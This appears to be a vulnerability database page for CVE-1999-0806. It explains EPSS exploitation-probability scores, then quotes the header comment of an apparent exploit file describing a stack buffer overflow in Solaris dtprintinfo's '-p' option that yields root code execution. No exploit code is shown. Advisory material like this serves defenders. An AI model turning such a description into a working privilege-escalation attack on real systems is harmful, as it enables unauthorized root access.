CVE-1999-0806 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

/* source: https://www.securityfocus.com/bid/249/info The dtprintinfo is a setuid commands open the CDE Print Manager window. A stack based buffer overflow in the handling of the "-p" option allow the execution of arbitrary code as root. This vulnerablity has been assigned Sun Bug# 4139394. The vulnerability is in the CDE 1.2 and CDE 1.3 subsystem of Solaris 2.6 and Solaris 7 respectibly.
